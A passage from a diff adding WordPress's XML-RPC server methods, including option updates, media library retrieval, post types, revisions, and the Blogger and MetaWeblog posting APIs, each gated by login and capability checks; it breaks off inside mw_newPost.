+	 * Retrieve blog options value from list.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $options Options to retrieve.
+	 * @return array
+	 */
+	public function _getOptions($options) {
+		$data = array();
+		$can_manage = current_user_can( 'manage_options' );
+		foreach ( $options as $option ) {
+			if ( array_key_exists( $option, $this->blog_options ) ) {
+				$data[$option] = $this->blog_options[$option];
+				//Is the value static or dynamic?
+				if ( isset( $data[$option]['option'] ) ) {
+					$data[$option]['value'] = get_option( $data[$option]['option'] );
+					unset($data[$option]['option']);
+				}
+
+				if ( ! $can_manage )
+					$data[$option]['readonly'] = true;
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Update blog options.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_setOptions( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$options	= (array) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'manage_options' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to update options.' ) );
+
+		$option_names = array();
+		foreach ( $options as $o_name => $o_value ) {
+			$option_names[] = $o_name;
+			if ( !array_key_exists( $o_name, $this->blog_options ) )
+				continue;
+
+			if ( $this->blog_options[$o_name]['readonly'] == true )
+				continue;
+
+			update_option( $this->blog_options[$o_name]['option'], wp_unslash( $o_value ) );
+		}
+
+		//Now return the updated values
+		return $this->_getOptions($option_names);
+	}
+
+	/**
+	 * Retrieve a media item by ID
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - blog_id (unused)
+	 *  - username
+	 *  - password
+	 *  - attachment_id
+	 * @return array|IXR_Error Associative array contains:
+	 *  - 'date_created_gmt'
+	 *  - 'parent'
+	 *  - 'link'
+	 *  - 'thumbnail'
+	 *  - 'title'
+	 *  - 'caption'
+	 *  - 'description'
+	 *  - 'metadata'
+	 */
+	public function wp_getMediaItem($args) {
+		$this->escape($args);
+
+		$username		= $args[1];
+		$password		= $args[2];
+		$attachment_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'upload_files' ) )
+			return new IXR_Error( 403, __( 'You do not have permission to upload files.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getMediaItem' );
+
+		if ( ! $attachment = get_post($attachment_id) )
+			return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+
+		return $this->_prepare_media_item( $attachment );
+	}
+
+	/**
+	 * Retrieves a collection of media library items (or attachments)
+	 *
+	 * Besides the common blog_id (unused), username, and password arguments, it takes a filter
+	 * array as last argument.
+	 *
+	 * Accepted 'filter' keys are 'parent_id', 'mime_type', 'offset', and 'number'.
+	 *
+	 * The defaults are as follows:
+	 * - 'number' - Default is 5. Total number of media items to retrieve.
+	 * - 'offset' - Default is 0. See {@link WP_Query::query()} for more.
+	 * - 'parent_id' - Default is ''. The post where the media item is attached. Empty string shows all media items. 0 shows unattached media items.
+	 * - 'mime_type' - Default is ''. Filter by mime type (e.g., 'image/jpeg', 'application/pdf')
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - blog_id (unused)
+	 *  - username
+	 *  - password
+	 *  - filter
+	 * @return array|IXR_Error Contains a collection of media items. See {@link wp_xmlrpc_server::wp_getMediaItem()} for a description of each item contents
+	 */
+	public function wp_getMediaLibrary($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$struct		= isset( $args[3] ) ? $args[3] : array() ;
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'upload_files' ) )
+			return new IXR_Error( 401, __( 'You do not have permission to upload files.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getMediaLibrary' );
+
+		$parent_id = ( isset($struct['parent_id']) ) ? absint($struct['parent_id']) : '' ;
+		$mime_type = ( isset($struct['mime_type']) ) ? $struct['mime_type'] : '' ;
+		$offset = ( isset($struct['offset']) ) ? absint($struct['offset']) : 0 ;
+		$number = ( isset($struct['number']) ) ? absint($struct['number']) : -1 ;
+
+		$attachments = get_posts( array('post_type' => 'attachment', 'post_parent' => $parent_id, 'offset' => $offset, 'numberposts' => $number, 'post_mime_type' => $mime_type ) );
+
+		$attachments_struct = array();
+
+		foreach ($attachments as $attachment )
+			$attachments_struct[] = $this->_prepare_media_item( $attachment );
+
+		return $attachments_struct;
+	}
+
+	/**
+	  * Retrieves a list of post formats used by the site
+	  *
+	  * @since 3.1.0
+	  *
+	  * @param array $args Method parameters. Contains:
+	  *  - blog_id (unused)
+	  *  - username
+	  *  - password
+	  * @return array|IXR_Error
+	  */
+	public function wp_getPostFormats( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login( $username, $password ) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostFormats' );
+
+		$formats = get_post_format_strings();
+
+		# find out if they want a list of currently supports formats
+		if ( isset( $args[3] ) && is_array( $args[3] ) ) {
+			if ( $args[3]['show-supported'] ) {
+				if ( current_theme_supports( 'post-formats' ) ) {
+					$supported = get_theme_support( 'post-formats' );
+
+					$data = array();
+					$data['all'] = $formats;
+					$data['supported'] = $supported[0];
+
+					$formats = $data;
+				}
+			}
+		}
+
+		return $formats;
+	}
+
+	/**
+	 * Retrieves a post type
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses get_post_type_object()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - string  $post_type_name
+	 *  - array   $fields
+	 * @return array|IXR_Error Array contains:
+	 *  - 'labels'
+	 *  - 'description'
+	 *  - 'capability_type'
+	 *  - 'cap'
+	 *  - 'map_meta_cap'
+	 *  - 'hierarchical'
+	 *  - 'menu_position'
+	 *  - 'taxonomies'
+	 *  - 'supports'
+	 */
+	public function wp_getPostType( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$post_type_name = $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filter the default query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param array  $fields An array of post type query fields for the given method.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostType' );
+		}
+
+		if ( !$user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostType' );
+
+		if( ! post_type_exists( $post_type_name ) )
+			return new IXR_Error( 403, __( 'Invalid post type' ) );
+
+		$post_type = get_post_type_object( $post_type_name );
+
+		if( ! current_user_can( $post_type->cap->edit_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post type.' ) );
+
+		return $this->_prepare_post_type( $post_type, $fields );
+	}
+
+	/**
+	 * Retrieves a post types
+	 *
+	 * @since 3.4.0
+	 *
+	 * @uses get_post_types()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - array   $filter
+	 *  - array   $fields
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPostTypes( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$filter             = isset( $args[3] ) ? $args[3] : array( 'public' => true );
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostTypes' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostTypes' );
+
+		$post_types = get_post_types( $filter, 'objects' );
+
+		$struct = array();
+
+		foreach( $post_types as $post_type ) {
+			if( ! current_user_can( $post_type->cap->edit_posts ) )
+				continue;
+
+			$struct[$post_type->name] = $this->_prepare_post_type( $post_type, $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve revisions for a specific post.
+	 *
+	 * @since 3.5.0
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array.
+	 *
+	 * @uses wp_get_post_revisions()
+	 * @see wp_getPost() for more on $fields
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - int     $post_id
+	 *  - array   $fields
+	 * @return array|IXR_Error contains a collection of posts.
+	 */
+	public function wp_getRevisions( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username   = $args[1];
+		$password   = $args[2];
+		$post_id    = (int) $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filter the default revision query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param array  $field  An array of revision query fields.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_revision_fields', array( 'post_date', 'post_date_gmt' ), 'wp.getRevisions' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getRevisions' );
+
+		if ( ! $post = get_post( $post_id ) )
+			return new IXR_Error( 404, __( 'Invalid post ID' ) );
+
+		if ( ! current_user_can( 'edit_post', $post_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
+
+		// Check if revisions are enabled.
+		if ( ! wp_revisions_enabled( $post ) )
+			return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+
+		if ( ! $revisions )
+			return array();
+
+		$struct = array();
+
+		foreach ( $revisions as $revision ) {
+			if ( ! current_user_can( 'read_post', $revision->ID ) )
+				continue;
+
+			// Skip autosaves
+			if ( wp_is_post_autosave( $revision ) )
+				continue;
+
+			$struct[] = $this->_prepare_post( get_object_vars( $revision ), $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Restore a post revision
+	 *
+	 * @since 3.5.0
+	 *
+	 * @uses wp_restore_post_revision()
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - int     $post_id
+	 * @return bool|IXR_Error false if there was an error restoring, true if success.
+	 */
+	public function wp_restoreRevision( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username    = $args[1];
+		$password    = $args[2];
+		$revision_id = (int) $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.restoreRevision' );
+
+		if ( ! $revision = wp_get_post_revision( $revision_id ) )
+			return new IXR_Error( 404, __( 'Invalid post ID' ) );
+
+		if ( wp_is_post_autosave( $revision ) )
+			return new IXR_Error( 404, __( 'Invalid post ID' ) );
+
+		if ( ! $post = get_post( $revision->post_parent ) )
+			return new IXR_Error( 404, __( 'Invalid post ID' ) );
+
+		if ( ! current_user_can( 'edit_post', $revision->post_parent ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );
+
+		// Check if revisions are disabled.
+		if ( ! wp_revisions_enabled( $post ) )
+			return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
+
+		$post = wp_restore_post_revision( $revision_id );
+
+		return (bool) $post;
+	}
+
+	/* Blogger API functions.
+	 * specs on http://plant.blogger.com/api and http://groups.yahoo.com/group/bloggerDev/
+	 */
+
+	/**
+	 * Retrieve blogs that user owns.
+	 *
+	 * Will make more sense once we support multiple blogs.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getUsersBlogs($args) {
+		if ( is_multisite() )
+			return $this->_multisite_getUsersBlogs($args);
+
+		$this->escape($args);
+
+		$username = $args[1];
+		$password  = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getUsersBlogs' );
+
+		$is_admin = current_user_can('manage_options');
+
+		$struct = array(
+			'isAdmin'  => $is_admin,
+			'url'      => get_option('home') . '/',
+			'blogid'   => '1',
+			'blogName' => get_option('blogname'),
+			'xmlrpc'   => site_url( 'xmlrpc.php', 'rpc' ),
+		);
+
+		return array($struct);
+	}
+
+	/**
+	 * Private function for retrieving a users blogs for multisite setups
+	 *
+	 * @access protected
+	 *
+	 * @return array|IXR_Error
+	 */
+	protected function _multisite_getUsersBlogs($args) {
+		$current_blog = get_blog_details();
+
+		$domain = $current_blog->domain;
+		$path = $current_blog->path . 'xmlrpc.php';
+
+		$rpc = new IXR_Client( set_url_scheme( "http://{$domain}{$path}" ) );
+		$rpc->query('wp.getUsersBlogs', $args[1], $args[2]);
+		$blogs = $rpc->getResponse();
+
+		if ( isset($blogs['faultCode']) )
+			return new IXR_Error($blogs['faultCode'], $blogs['faultString']);
+
+		if ( $_SERVER['HTTP_HOST'] == $domain && $_SERVER['REQUEST_URI'] == $path ) {
+			return $blogs;
+		} else {
+			foreach ( (array) $blogs as $blog ) {
+				if ( strpos($blog['url'], $_SERVER['HTTP_HOST']) )
+					return array($blog);
+			}
+			return array();
+		}
+	}
+
+	/**
+	 * Retrieve user's data.
+	 *
+	 * Gives your client some info about you, so you don't have to.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getUserInfo($args) {
+
+		$this->escape($args);
+
+		$username = $args[1];
+		$password  = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you do not have access to user data on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getUserInfo' );
+
+		$struct = array(
+			'nickname'  => $user->nickname,
+			'userid'    => $user->ID,
+			'url'       => $user->user_url,
+			'lastname'  => $user->last_name,
+			'firstname' => $user->first_name
+		);
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getPost($args) {
+
+		$this->escape($args);
+
+		$post_ID    = (int) $args[1];
+		$username = $args[2];
+		$password  = $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		$post_data = get_post($post_ID, ARRAY_A);
+		if ( ! $post_data )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getPost' );
+
+		$categories = implode(',', wp_get_post_categories($post_ID));
+
+		$content  = '<title>'.wp_unslash($post_data['post_title']).'</title>';
+		$content .= '<category>'.$categories.'</category>';
+		$content .= wp_unslash($post_data['post_content']);
+
+		$struct = array(
+			'userid'    => $post_data['post_author'],
+			'dateCreated' => $this->_convert_date( $post_data['post_date'] ),
+			'content'     => $content,
+			'postid'  => (string) $post_data['ID']
+		);
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve list of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getRecentPosts($args) {
+
+		$this->escape($args);
+
+		// $args[0] = appkey - ignored
+		$username = $args[2];
+		$password  = $args[3];
+		if ( isset( $args[4] ) )
+			$query = array( 'numberposts' => absint( $args[4] ) );
+		else
+			$query = array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( ! current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit posts on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getRecentPosts' );
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( !$posts_list ) {
+			$this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
+			return $this->error;
+		}
+
+		$recent_posts = array();
+		foreach ($posts_list as $entry) {
+			if ( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date  = $this->_convert_date( $entry['post_date'] );
+			$categories = implode(',', wp_get_post_categories($entry['ID']));
+
+			$content  = '<title>'.wp_unslash($entry['post_title']).'</title>';
+			$content .= '<category>'.$categories.'</category>';
+			$content .= wp_unslash($entry['post_content']);
+
+			$recent_posts[] = array(
+				'userid' => $entry['post_author'],
+				'dateCreated' => $post_date,
+				'content' => $content,
+				'postid' => (string) $entry['ID'],
+			);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Deprecated.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 3.5.0
+	 * @return IXR_Error
+	 */
+	public function blogger_getTemplate($args) {
+		return new IXR_Error( 403, __('Sorry, that file cannot be edited.' ) );
+	}
+
+	/**
+	 * Deprecated.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 3.5.0
+	 * @return IXR_Error
+	 */
+	public function blogger_setTemplate($args) {
+		return new IXR_Error( 403, __('Sorry, that file cannot be edited.' ) );
+	}
+
+	/**
+	 * Create new post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int|IXR_Error
+	 */
+	public function blogger_newPost($args) {
+
+		$this->escape($args);
+
+		$username = $args[2];
+		$password  = $args[3];
+		$content    = $args[4];
+		$publish    = $args[5];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.newPost' );
+
+		$cap = ($publish) ? 'publish_posts' : 'edit_posts';
+		if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) || !current_user_can($cap) )
+			return new IXR_Error(401, __('Sorry, you are not allowed to post on this site.'));
+
+		$post_status = ($publish) ? 'publish' : 'draft';
+
+		$post_author = $user->ID;
+
+		$post_title = xmlrpc_getposttitle($content);
+		$post_category = xmlrpc_getpostcategory($content);
+		$post_content = xmlrpc_removepostdata($content);
+
+		$post_date = current_time('mysql');
+		$post_date_gmt = current_time('mysql', 1);
+
+		$post_data = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status');
+
+		$post_ID = wp_insert_post($post_data);
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error(500, $post_ID->get_error_message());
+
+		if ( !$post_ID )
+			return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.'));
+
+		$this->attach_uploads( $post_ID, $post_content );
+
+		/**
+		 * Fires after a new post has been successfully created via the XML-RPC Blogger API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the new post.
+		 * @param array $args    An array of new post arguments.
+		 */
+		do_action( 'xmlrpc_call_success_blogger_newPost', $post_ID, $args );
+
+		return $post_ID;
+	}
+
+	/**
+	 * Edit a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool|IXR_Error true when done.
+	 */
+	public function blogger_editPost( $args ) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[1];
+		$username  = $args[2];
+		$password   = $args[3];
+		$content     = $args[4];
+		$publish     = $args[5];
+
+		if ( ! $user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.editPost' );
+
+		$actual_post = get_post( $post_ID, ARRAY_A );
+
+		if ( ! $actual_post || $actual_post['post_type'] != 'post' ) {
+			return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
+		}
+
+		$this->escape($actual_post);
+
+		if ( ! current_user_can( 'edit_post', $post_ID ) ) {
+			return new IXR_Error(401, __('Sorry, you do not have the right to edit this post.'));
+		}
+		if ( 'publish' == $actual_post['post_status'] && ! current_user_can( 'publish_posts' ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you do not have the right to publish this post.' ) );
+		}
+
+		$postdata = array();
+		$postdata['ID'] = $actual_post['ID'];
+		$postdata['post_content'] = xmlrpc_removepostdata( $content );
+		$postdata['post_title'] = xmlrpc_getposttitle( $content );
+		$postdata['post_category'] = xmlrpc_getpostcategory( $content );
+		$postdata['post_status'] = $actual_post['post_status'];
+		$postdata['post_excerpt'] = $actual_post['post_excerpt'];
+
+		$result = wp_update_post( $postdata );
+
+		if ( ! $result ) {
+			return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be edited.'));
+		}
+		$this->attach_uploads( $actual_post['ID'], $postdata['post_content'] );
+
+		/**
+		 * Fires after a post has been successfully updated via the XML-RPC Blogger API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the updated post.
+		 * @param array $args    An array of arguments for the post to edit.
+		 */
+		do_action( 'xmlrpc_call_success_blogger_editPost', $post_ID, $args );
+
+		return true;
+	}
+
+	/**
+	 * Remove a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool|IXR_Error True when post is deleted.
+	 */
+	public function blogger_deletePost($args) {
+		$this->escape($args);
+
+		$post_ID     = (int) $args[1];
+		$username  = $args[2];
+		$password   = $args[3];
+		$publish     = $args[4];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.deletePost' );
+
+		$actual_post = get_post($post_ID,ARRAY_A);
+
+		if ( !$actual_post || $actual_post['post_type'] != 'post' )
+			return new IXR_Error(404, __('Sorry, no such post.'));
+
+		if ( !current_user_can('delete_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you do not have the right to delete this post.'));
+
+		$result = wp_delete_post($post_ID);
+
+		if ( !$result )
+			return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be deleted.'));
+
+		/**
+		 * Fires after a post has been successfully deleted via the XML-RPC Blogger API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the deleted post.
+		 * @param array $args    An array of arguments to delete the post.
+		 */
+		do_action( 'xmlrpc_call_success_blogger_deletePost', $post_ID, $args );
+
+		return true;
+	}
+
+	/* MetaWeblog API functions
+	 * specs on wherever Dave Winer wants them to be
+	 */
+
+	/**
+	 * Create a new post.
+	 *
+	 * The 'content_struct' argument must contain:
+	 *  - title
+	 *  - description
+	 *  - mt_excerpt
+	 *  - mt_text_more
+	 *  - mt_keywords
+	 *  - mt_tb_ping_urls
+	 *  - categories
+	 *
+	 * Also, it can optionally contain:
+	 *  - wp_slug
+	 *  - wp_password
+	 *  - wp_page_parent_id
+	 *  - wp_page_order
+	 *  - wp_author_id
+	 *  - post_status | page_status - can be 'draft', 'private', 'publish', or 'pending'
+	 *  - mt_allow_comments - can be 'open' or 'closed'
+	 *  - mt_allow_pings - can be 'open' or 'closed'
+	 *  - date_created_gmt
+	 *  - dateCreated
+	 *  - wp_post_thumbnail
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - blog_id (unused)
+	 *  - username
+	 *  - password
+	 *  - content_struct
+	 *  - publish
+	 * @return int|IXR_Error
+	 */
+	public function mw_newPost($args) {
+		$this->escape($args);
+
+		$username  = $args[1];
+		$password   = $args[2];
+		$content_struct = $args[3];
+		$publish     = isset( $args[4] ) ? $args[4] : 0;
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.newPost' );
+
+		$page_template = '';
+		if ( !empty( $content_struct['post_type'] ) ) {
+			if ( $content_struct['post_type'] == 'page' ) {
+				if ( $publish )
+					$cap  = 'publish_pages';
+				elseif ( isset( $content_struct['page_status'] ) && 'publish' == $content_struct['page_status'] )
+					$cap  = 'publish_pages';
+				else
+					$cap = 'edit_pages';
+				$error_message = __( 'Sorry, you are not allowed to publish pages on this site.' );
+				$post_type = 'page';
+				if ( !empty( $content_struct['wp_page_template'] ) )
+					$page_template = $content_struct['wp_page_template'];
+			} elseif ( $content_struct['post_type'] == 'post' ) {
+				if ( $publish )
+					$cap  = 'publish_posts';
+				elseif ( isset( $content_struct['post_status'] ) && 'publish' == $content_struct['post_status'] )
+					$cap  = 'publish_posts';
+				else
+					$cap = 'edit_posts';
+				$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
+				$post_type = 'post';
+			} else {
+				// No other post_type values are allowed here
+				return new IXR_Error( 401, __( 'Invalid post type' ) );
+			}
+		} else {
+			if ( $publish )
+				$cap  = 'publish_posts';
+			elseif ( isset( $content_struct['post_status'] ) && 'publish' == $content_struct['post_status'])
+				$cap  = 'publish_posts';
+			else
+				$cap = 'edit_posts';
+			$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
+			$post_type = 'post';
+		}
+
+		if ( ! current_user_can( get_post_type_object( $post_type )->cap->create_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts on this site.' ) );
+		if ( !current_user_can( $cap ) )
+			return new IXR_Error( 401, $error_message );
+
+		// Check for a valid post format if one was given
+		if ( isset( $content_struct['wp_post_format'] ) ) {
+			$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
+			if ( !array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
+				return new IXR_Error( 404, __( 'Invalid post format' ) );
+			}
+		}
+
+		// Let WordPress generate the post_name (slug) unless
+		// one has been provided.
+		$post_name = "";
+		if ( isset($content_struct['wp_slug']) )
+			$post_name = $content_struct['wp_slug'];
+
+		// Only use a password if one was given.
+		if ( isset($content_struct['wp_password']) )
+			$post_password = $content_struct['wp_password'];
+
+		// Only set a post parent if one was provided.
+		if ( isset($content_struct['wp_page_parent_id']) )
+			$post_parent = $content_struct['wp_page_parent_id'];
+
+		// Only set the menu_order if it was provided.
+		if ( isset($content_struct['wp_page_order']) )
+			$menu_order = $content_struct['wp_page_order'];
+
+		$post_author = $user->ID;
+
+		// If an author id was provided then use it instead.
+		if ( isset( $content_struct['wp_author_id'] ) && ( $user->ID != $content_struct['wp_author_id'] ) ) {
+			switch ( $post_type ) {
+				case "post":
+					if ( !current_user_can( 'edit_others_posts' ) )
+						return new IXR_Error( 401, __( 'You are not allowed to create posts as this user.' ) );
+					break;
+				case "page":
+					if ( !current_user_can( 'edit_others_pages' ) )
+						return new IXR_Error( 401, __( 'You are not allowed to create pages as this user.' ) );
+					break;
+				default:
+					return new IXR_Error( 401, __( 'Invalid post type' ) );
+					break;
+			}
+			$author = get_userdata( $content_struct['wp_author_id'] );
+			if ( ! $author )
+				return new IXR_Error( 404, __( 'Invalid author ID.' ) );
+			$post_author = $content_struct['wp_author_id'];
+		}
+
+		$post_title = isset( $content_struct['title'] ) ? $content_struct['title'] : null;
+		$post_content = isset( $content_struct['description'] ) ? $content_struct['description'] : null;
+
+		$post_status = $publish ? 'publish' : 'draft';
+
+		if ( isset( $content_struct["{$post_type}_status"] ) ) {
+			switch ( $content_struct["{$post_type}_status"] ) {
+				case 'draft':
+				case 'pending':
+				case 'private':
+				case 'publish':
+					$post_status = $content_struct["{$post_type}_status"];
+					break;
+				default:
+					$post_status = $publish ? 'publish' : 'draft';
+					break;
+			}
+		}
+
+		$post_excerpt = isset($content_struct['mt_excerpt']) ? $content_struct['mt_excerpt'] : null;
+		$post_more = isset($content_struct['mt_text_more']) ? $content_struct['mt_text_more'] : null;
+
+		$tags_input = isset($content_struct['mt_keywords']) ? $content_struct['mt_keywords'] : null;
+
+		if ( isset($content_struct['mt_allow_comments']) ) {
+			if ( !is_numeric($content_struct['mt_allow_comments']) ) {
+				switch ( $content_struct['mt_allow_comments'] ) {
+					case 'closed':
+						$comment_status = 'closed';
+						break;
+					case 'open':
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_option('default_comment_status');
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct['mt_allow_comments'] ) {
+					case 0:
+					case 2:
+						$comment_status = 'closed';
+						break;
+					case 1:
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_option('default_comment_status');
+						break;
+				}
+			}
+		} else {
+			$comment_status = get_option('default_comment_status');
+		}
+
+		if ( isset($content_struct['mt_allow_pings']) ) {
